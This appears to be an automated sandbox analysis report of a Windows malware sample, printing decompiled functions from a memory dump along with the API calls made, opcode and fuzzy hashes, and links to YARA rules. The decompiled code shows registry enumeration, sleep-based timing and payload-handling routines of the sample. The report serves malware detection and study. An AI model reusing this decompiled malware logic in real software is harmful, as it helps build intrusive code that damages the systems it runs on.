0x04a8a284
0x00000000
0x04a8a284
0x04a8a258
0x00000000
0x04a8a2a9
0x04a8a2b6
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04A89AD0,?), ref: 04A8A1FC

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

RegEnumKeyExA.KERNEL32(?,?,?,04A89AD0,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04A89AD0), ref: 04A8A243
WaitForSingleObject.KERNEL32(00000000,?,?,?,04A89AD0,?,04A89AD0,?,?,?,?,?,04A89AD0,?), ref: 04A8A2B0
RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04A89AD0,?), ref: 04A8A2D8

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateCloseEnumHeapObjectOpenSingleWait
String ID:
API String ID: 3664505660-0
Opcode ID: 96bbb1fc431970f421bf9653c9c518646d2562027dbdc1d2a84641e133073e12
Instruction ID: 36c98ae173d98cd09ebbac2479e5de7351493b379186451c68f9212764181360
Opcode Fuzzy Hash: 96bbb1fc431970f421bf9653c9c518646d2562027dbdc1d2a84641e133073e12
Instruction Fuzzy Hash: 9B314771E00219EFDF21BFA9D8449EEFFB8FF94310F10412BE511BA160E2752A519BA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A8137C, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 04A813D3
SysAllocString.OLEAUT32(04A8388F), ref: 04A81416
SysFreeString.OLEAUT32(00000000), ref: 04A8142A
SysFreeString.OLEAUT32(00000000), ref: 04A81438

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 5fe145af9014d31b419306ac1dec30dac3ba1b148b5ee8752e8ed91369a4ae8e
Instruction ID: 9d1a196e94e76e14ca868d750fad8df5185c073677b9f9fe800c83a5984d2476
Opcode Fuzzy Hash: 5fe145af9014d31b419306ac1dec30dac3ba1b148b5ee8752e8ed91369a4ae8e
Instruction Fuzzy Hash: 47310CB1910209EF9B05EF98D4C48AE7BB5FF58344B50842EF50AA7250E735A986CF61

Uniqueness

Uniqueness Score: -1.00%

Function 04A89A40, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E04A89A40(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E04A82607(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E04A825A5(_t23);
						}
					}
					return _t38;
				}
				_t26 = E04A817E7(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x4a8d2a8, 1, 0,  *0x4a8d340);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					FindCloseChangeNotification(_t40); // executed
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E04A8A1D6(_t36); // executed
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E04A837DD(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04A866A0(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E04A8234A( &_v32, _t39);
					goto L13;
				}
			}

0x04a89a40
0x04a89a4d
0x04a89a53
0x04a89a54
0x04a89a55
0x04a89a56
0x04a89a57
0x04a89a5b
0x04a89a62
0x04a89a67
0x04a89a6b
0x04a89af3
0x04a89af3
0x04a89af6
0x04a89af8
0x04a89b00
0x04a89b06
0x04a89b09
0x04a89b09
0x04a89b06
0x04a89b14
0x04a89b14
0x04a89a77
0x04a89a7e
0x04a89a80
0x04a89a80
0x04a89a97
0x04a89a9b
0x04a89a9e
0x04a89aa9
0x04a89ab0
0x04a89ab0
0x04a89abc
0x04a89abd
0x04a89acb
0x04a89abf
0x04a89abf
0x04a89ac0
0x04a89ac1
0x04a89ac2
0x04a89ac3
0x04a89ac4
0x04a89ac4
0x04a89ad0
0x04a89ad5
0x04a89ad7
0x04a89ad9
0x04a89ad9
0x04a89ae0
0x00000000
0x04a89ae2
0x04a89ae2
0x04a89aef
0x00000000
0x04a89aef

APIs

CreateEventA.KERNEL32(04A8D2A8,00000001,00000000,00000040,?,?,76D7F710,00000000,76D7F730), ref: 04A89A91
SetEvent.KERNEL32(00000000), ref: 04A89A9E
Sleep.KERNEL32(00000BB8), ref: 04A89AA9
FindCloseChangeNotification.KERNEL32(00000000), ref: 04A89AB0

Part of subcall function 04A8A1D6: RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04A89AD0,?), ref: 04A8A1FC
Part of subcall function 04A8A1D6: RegEnumKeyExA.KERNEL32(?,?,?,04A89AD0,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04A89AD0), ref: 04A8A243
Part of subcall function 04A8A1D6: WaitForSingleObject.KERNEL32(00000000,?,?,?,04A89AD0,?,04A89AD0,?,?,?,?,?,04A89AD0,?), ref: 04A8A2B0
Part of subcall function 04A8A1D6: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04A89AD0,?), ref: 04A8A2D8

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseEvent$ChangeCreateEnumFindNotificationObjectOpenSingleSleepWait
String ID:
API String ID: 780868161-0
Opcode ID: 8acf1984fe9013ba7b65fcb9060b908e26a346b8bb78fccc69112fa850abce6f
Instruction ID: a4bd6611faf78e9d5204473924154925ad53d3117afa2fe9fef2e6c42f1257bd
Opcode Fuzzy Hash: 8acf1984fe9013ba7b65fcb9060b908e26a346b8bb78fccc69112fa850abce6f
Instruction Fuzzy Hash: 3C2150B2D00118ABEB10BFE489849BFB7BDEB54254B45846DEA11E7140EB74F942CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A86813, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E04A86813(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E04A86B2A(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x04a8681f
0x04a86823
0x04a86824
0x04a86825
0x04a86827
0x04a86829
0x04a8682e
0x04a86831
0x04a868c8
0x04a868cf
0x04a868cf
0x04a8683a
0x04a86841
0x04a86851
0x04a86851
0x04a86857
0x04a86859
0x04a8685e
0x04a86867
0x04a8686f
0x04a86872
0x04a8687d
0x04a86881
0x04a86883
0x04a86884
0x04a8688d
0x04a86891
0x04a868a2
0x04a86893
0x04a86898
0x04a8689d
0x04a868ac
0x04a868ac
0x04a86881
0x04a868b2
0x04a868b8
0x04a868b8
0x04a868c1
0x04a868c6
0x04a868c6
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 04A86841
lstrlenW.KERNEL32(?), ref: 04A86877
memcpy.NTDLL(00000000,?,?,?), ref: 04A86898
SysFreeString.OLEAUT32(?), ref: 04A868AC

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 99088d99e5cb06afd544eec8dbf6fd4f7b48dadb5305e303753cf8485a64592a
Instruction ID: 1372ab878b629c8c60269cca0fc5141a4168f8efa0435d1685d5104661855762
Opcode Fuzzy Hash: 99088d99e5cb06afd544eec8dbf6fd4f7b48dadb5305e303753cf8485a64592a
Instruction Fuzzy Hash: 85215375A00209EFEB11EFA4D984D9EBBB8FF49355B10816DE909E7200E735EA45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04A8155F, Relevance: 6.0, APIs: 4, Instructions: 38
sleepmemorythreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8155F(signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				void* _t5;
				void* _t7;
				void* _t10;
				void* _t13;
				void* _t14;
				void* _t15;
				signed int _t16;
				signed int _t22;

				_t16 = __edx;
				_t5 = HeapCreate(0, 0x400000, 0); // executed
				 *0x4a8d238 = _t5;
				if(_t5 == 0) {
					_t14 = 8;
					return _t14;
				}
				 *0x4a8d1a8 = GetTickCount();
				_t7 = E04A83C98(_a4);
				if(_t7 == 0) {
					do {
						_t22 = SwitchToThread() + 8;
						_t10 = E04A85B17(_a4, _t22);
						Sleep(0x20 + _t22 * 4); // executed
					} while (_t10 == 1);
					if(E04A898D2(_t15) != 0) {
						 *0x4a8d260 = 1; // executed
					}
					_t13 = E04A88EAF(_t16); // executed
					return _t13;
				}
				return _t7;
			}

0x04a8155f
0x04a81568
0x04a81570
0x04a81575
0x04a81579
0x00000000
0x04a81579
0x04a81586
0x04a8158b
0x04a81592
0x04a81596
0x04a815a2
0x04a815a6
0x04a815b5
0x04a815bb
0x04a815c9
0x04a815cb
0x04a815cb
0x04a815d5
0x00000000
0x04a815d5
0x04a815da

APIs

HeapCreate.KERNEL32(00000000,00400000,00000000,04A845D9,?), ref: 04A81568
GetTickCount.KERNEL32 ref: 04A8157C
SwitchToThread.KERNEL32(?,00000001,?), ref: 04A81596
Sleep.KERNEL32(00000000,-00000008,?,00000001,?), ref: 04A815B5

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: CountCreateHeapSleepSwitchThreadTick
String ID:
API String ID: 377297877-0
Opcode ID: 97c7c6165b2e0537204229a2d95ae8f1a5f130127fd25c3d4cde7ceb304b0326
Instruction ID: 0091521b946b08927e366f8ba77b0071832b260df3cc89c5ff9422efb686dc07
Opcode Fuzzy Hash: 97c7c6165b2e0537204229a2d95ae8f1a5f130127fd25c3d4cde7ceb304b0326
Instruction Fuzzy Hash: 3AF06271A40200AFF3117B75A948B1E3BE4EF68765F10042DE906D7140FB38E8069F61

Uniqueness

Uniqueness Score: -1.00%

Function 04A81DC6, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A81DC6() {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t54;

				_v12 = 0;
				_t23 = E04A817E7(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x4a8d27c; // 0xa9a5a8
				_t4 = _t24 + 0x4a8ede0; // 0x5529388
				_t5 = _t24 + 0x4a8ed88; // 0x4f0053
				_t26 = E04A8A6B2( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x4a8d27c; // 0xa9a5a8
						_t11 = _t32 + 0x4a8edd4; // 0x552937c
						_t48 = _t11;
						_t12 = _t32 + 0x4a8ed88; // 0x4f0053
						_t54 = E04A85ABB(_t11, _t12, _t11);
						_t58 = _t54;
						if(_t54 != 0) {
							_t35 =  *0x4a8d27c; // 0xa9a5a8
							_t13 = _t35 + 0x4a8ea59; // 0x30314549
							if(E04A84239(_t48, _t58, _v8, _t54, _t13, 0x14) == 0) {
								_t60 =  *0x4a8d25c - 6;
								if( *0x4a8d25c <= 6) {
									_t42 =  *0x4a8d27c; // 0xa9a5a8
									_t15 = _t42 + 0x4a8ec3a; // 0x52384549
									E04A84239(_t48, _t60, _v8, _t54, _t15, 0x13);
								}
							}
							_t38 =  *0x4a8d27c; // 0xa9a5a8
							_t17 = _t38 + 0x4a8ee18; // 0x55293c0
							_t18 = _t38 + 0x4a8edf0; // 0x680043
							_t45 = E04A8213B(_v8, 0x80000001, _t54, _t18, _t17);
							HeapFree( *0x4a8d238, 0, _t54);
						}
					}
					HeapFree( *0x4a8d238, 0, _v16);
				}
				_t53 = _v8;
				if(_v8 != 0) {
					E04A866A0(_t53);
				}
				return _t45;
			}

0x04a81dd6
0x04a81dd9
0x04a81de0
0x04a81de2
0x04a81de2
0x04a81de5
0x04a81dea
0x04a81df1
0x04a81dfe
0x04a81e03
0x04a81e07
0x04a81e15
0x04a81e23
0x04a81e27
0x04a81eb8
0x04a81eb8
0x04a81e2d
0x04a81e2d
0x04a81e32
0x04a81e32
0x04a81e39
0x04a81e45
0x04a81e47
0x04a81e49
0x04a81e4b
0x04a81e52
0x04a81e64
0x04a81e66
0x04a81e6d
0x04a81e6f
0x04a81e76
0x04a81e81
0x04a81e81
0x04a81e6d
0x04a81e86
0x04a81e8b
0x04a81e92
0x04a81eb0
0x04a81eb2
0x04a81eb2
0x04a81e49
0x04a81ec4
0x04a81ec4
0x04a81ec6
0x04a81ecb
0x04a81ecd
0x04a81ecd
0x04a81ed8

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05529388,00000000,?,76D7F710,00000000,76D7F730), ref: 04A81E15
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,055293C0,?,00000000,30314549,00000014,004F0053,0552937C), ref: 04A81EB2
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04A82011), ref: 04A81EC4

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 192906e1f88d4625b44666bdfb67f5f589b03e7e7c9ef9401d7d889cd7b89d37
Instruction ID: b8080928013f1468da1b17253b1722c4d4436955f680eb3065d6587a2e586aab
Opcode Fuzzy Hash: 192906e1f88d4625b44666bdfb67f5f589b03e7e7c9ef9401d7d889cd7b89d37
Instruction Fuzzy Hash: 25316FB2901109FFFB11FFA1DD84EAA7BBCEF58714F14406DB600AB160E670AE069B50

Uniqueness

Uniqueness Score: -1.00%

Function 04A869BA, Relevance: 4.6, APIs: 3, Instructions: 77
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E04A869BA(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t19;
				void* _t25;
				void* _t26;
				void* _t31;
				void* _t38;
				void* _t41;
				intOrPtr _t43;
				void* _t44;

				_t33 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t43 =  *0x4a8d27c; // 0xa9a5a8
				_push(0x800);
				_push(0);
				_push( *0x4a8d238);
				_t1 = _t43 + 0x4a8e791; // 0x6976612e
				_t44 = _t1;
				if( *0x4a8d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t31 = 8;
						L7:
						if(_t31 != 0) {
							L10:
							 *0x4a8d24c =  *0x4a8d24c + 1;
							L11:
							return _t31;
						}
						_t46 = _a4;
						_t41 = _v8;
						 *_a16 = _a4;
						 *_a20 = E04A819D0(_t46, _t41); // executed
						_t19 = E04A861CD(_t38, _t41, _t46); // executed
						if(_t19 != 0) {
							 *_a8 = _t41;
							 *_a12 = _t19;
							if( *0x4a8d24c < 5) {
								 *0x4a8d24c =  *0x4a8d24c & 0x00000000;
							}
							goto L11;
						}
						_t31 = 0xbf;
						E04A8848E();
						RtlFreeHeap( *0x4a8d238, 0, _t41); // executed
						goto L10;
					}
					_t25 = E04A83D57(_a4, _t33, _t38, _t44,  &_v8,  &_a4, _t14);
					L5:
					_t31 = _t25;
					goto L7;
				}
				_t26 = RtlAllocateHeap(); // executed
				if(_t26 == 0) {
					goto L6;
				}
				_t25 = E04A81000(_a4, _t33, _t38, _t44,  &_v8,  &_a4, _t26); // executed
				goto L5;
			}

0x04a869ba
0x04a869bd
0x04a869be
0x04a869c8
0x04a869cf
0x04a869d4
0x04a869d6
0x04a869dc
0x04a869dc
0x04a869e2
0x04a86a0a
0x04a86a22
0x04a86a24
0x04a86a25
0x04a86a27
0x04a86a65
0x04a86a65
0x04a86a6b
0x04a86a71
0x04a86a71
0x04a86a29
0x04a86a2f
0x04a86a32
0x04a86a41
0x04a86a43
0x04a86a4a
0x04a86a7e
0x04a86a83
0x04a86a85
0x04a86a87
0x04a86a87
0x00000000
0x04a86a85
0x04a86a4c
0x04a86a51
0x04a86a5f
0x00000000
0x04a86a5f
0x04a86a19
0x04a86a1e
0x04a86a1e
0x00000000
0x04a86a1e
0x04a869e4
0x04a869ec
0x00000000
0x00000000
0x04a869fb
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,76D7F710), ref: 04A869E4

Part of subcall function 04A81000: GetTickCount.KERNEL32 ref: 04A81014
Part of subcall function 04A81000: wsprintfA.USER32 ref: 04A81064
Part of subcall function 04A81000: wsprintfA.USER32 ref: 04A81081
Part of subcall function 04A81000: wsprintfA.USER32 ref: 04A810AD
Part of subcall function 04A81000: HeapFree.KERNEL32(00000000,?), ref: 04A810BF
Part of subcall function 04A81000: wsprintfA.USER32 ref: 04A810E0
Part of subcall function 04A81000: RtlFreeHeap.NTDLL(00000000,?), ref: 04A810F0
Part of subcall function 04A81000: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04A8111E
Part of subcall function 04A81000: GetTickCount.KERNEL32 ref: 04A8112F

RtlAllocateHeap.NTDLL(00000000,00000800,76D7F710), ref: 04A86A02
RtlFreeHeap.NTDLL(00000000,?,?,?,04A82063,00000002,?,?,?,?), ref: 04A86A5F

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 4417a2e7863422286eeb851ce5f73905cfb7441a07e70d5b75685bc2f4909465
Instruction ID: 136164d78360caeaa00071b67746c14795c383acaa8c69e78b0a28f82253ba23
Opcode Fuzzy Hash: 4417a2e7863422286eeb851ce5f73905cfb7441a07e70d5b75685bc2f4909465
Instruction Fuzzy Hash: CC216D72200208EBFB11AF55D844E9A7BBCFB58754F10802EF9029B250EB74FD56DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A884AA, Relevance: 4.6, APIs: 3, Instructions: 52COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 04A884D2
memcpy.NTDLL(?,?,?), ref: 04A884EC

Part of subcall function 04A8596C: SysFreeString.OLEAUT32(?), ref: 04A85A4B

SafeArrayDestroy.OLEAUT32(?), ref: 04A88521

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: ArraySafe$CreateDestroyFreeStringmemcpy
String ID:
API String ID: 4076844959-0
Opcode ID: 7eb2ce598486d3a9ffc265f05897946a2036fbd8e63dcad5c8f08c9fd02e427c
Instruction ID: a4ee034f10561a345c67f5df05bdf155e3e1ea24f9e8785bb642a82387e20d6d
Opcode Fuzzy Hash: 7eb2ce598486d3a9ffc265f05897946a2036fbd8e63dcad5c8f08c9fd02e427c
Instruction Fuzzy Hash: 9C112E72900109BFEF10AFA5DC04EEEBBB9EB18350F008029F905E6161E7759A15DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A5C2, Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E04A8A5C2(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				long _t14;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr _t27;
				long _t28;

				_t27 = __edi;
				_t26 = _a8;
				_t14 = E04A86B82(_a4, _t26, __edi); // executed
				_t28 = _t14;
				if(_t28 != 0) {
					memset( &_v60, 0, 0x38);
					_t18 =  *0x4a8d27c; // 0xa9a5a8
					_t28 = 0;
					_v64 = 0x3c;
					if(_a12 == 0) {
						_t7 = _t18 + 0x4a8e4e8; // 0x70006f
						_t19 = _t7;
					} else {
						_t6 = _t18 + 0x4a8e8ec; // 0x750072
						_t19 = _t6;
					}
					_v52 = _t19;
					_push(_t28);
					_v48 = _a4;
					_v44 = _t26;
					_v36 = _t27;
					E04A8945E();
					_push( &_v64);
					if( *0x4a8d0e4() == 0) {
						_t28 = GetLastError();
					}
					_push(1);
					E04A8945E();
				}
				return _t28;
			}

0x04a8a5c2
0x04a8a5c9
0x04a8a5d2
0x04a8a5d7
0x04a8a5db
0x04a8a5e5
0x04a8a5ea
0x04a8a5ef
0x04a8a5f7
0x04a8a5fe
0x04a8a608
0x04a8a608
0x04a8a600
0x04a8a600
0x04a8a600
0x04a8a600
0x04a8a60e
0x04a8a614
0x04a8a615
0x04a8a618
0x04a8a61b
0x04a8a61e
0x04a8a626
0x04a8a62f
0x04a8a637
0x04a8a637
0x04a8a639
0x04a8a63b
0x04a8a63b
0x04a8a645

APIs

Part of subcall function 04A86B82: SysAllocString.OLEAUT32(00000000), ref: 04A86BDE
Part of subcall function 04A86B82: SysAllocString.OLEAUT32(0070006F), ref: 04A86BF2
Part of subcall function 04A86B82: SysAllocString.OLEAUT32(00000000), ref: 04A86C04
Part of subcall function 04A86B82: SysFreeString.OLEAUT32(00000000), ref: 04A86C68

memset.NTDLL ref: 04A8A5E5
GetLastError.KERNEL32 ref: 04A8A631

Strings

<, xrefs: 04A8A5F7

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Alloc$ErrorFreeLastmemset
String ID: <
API String ID: 1330562889-4251816714
Opcode ID: 614114cff17ac5d3a2b735cd4c8e682d66f35603c478471159bd0ad320aa4739
Instruction ID: 25b729fbfcb43de1515379c1d1ec942ccf4973fcd037b49e91ad881d79dfcf18
Opcode Fuzzy Hash: 614114cff17ac5d3a2b735cd4c8e682d66f35603c478471159bd0ad320aa4739
Instruction Fuzzy Hash: 4201ED71E00218ABEB10FFA9D885EDEBBBCEB08754F44412AF905E7144E774E9418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 04A8673A, Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8673A(void* __edx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* __ebx;
				void* _t24;
				intOrPtr _t27;
				signed int _t38;
				signed char* _t46;
				void* _t51;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_t51 = __edx;
				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E04A86B2A(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x4a8d2d0, 0x90);
					_t27 =  *0x4a8d2d4; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						E04A83A4B(_t46, _a4, 0x90, _t27, 0);
					}
					if(E04A83AA0( &_v36) != 0 && E04A88D70(0x90, _a4,  &_v20,  &_v12,  &_v36, 0) == 0) {
						_t55 = _v20;
						_v36 =  *_t46;
						_t38 = E04A8A7AF(_a8,  &_v36, _t51, _t46, _a12, _t55); // executed
						_v16 = _t38;
						 *(_t55 + 4) = _v36;
						memset(_t55, 0, _v12 - (_t46[4] & 0xf));
						_t57 = _t57 + 0xc;
						E04A89A1A(_t55);
					}
					memset(_a4, 0, _t53);
					E04A89A1A(_a4);
				}
				return _v16;
			}

0x04a8673a
0x04a86740
0x04a86745
0x04a86752
0x04a86755
0x04a86758
0x04a8675f
0x04a86762
0x04a86770
0x04a86775
0x04a8677a
0x04a8677f
0x04a8678a
0x04a8678a
0x04a86799
0x04a867b7
0x04a867c0
0x04a867c7
0x04a867cf
0x04a867d5
0x04a867e5
0x04a867ea
0x04a867ee
0x04a867ee
0x04a867f9
0x04a86804
0x04a86804
0x04a86810

APIs

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

memcpy.NTDLL(00000000,00000090,?,?,?,00000008), ref: 04A86770
memset.NTDLL ref: 04A867E5
memset.NTDLL ref: 04A867F9

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

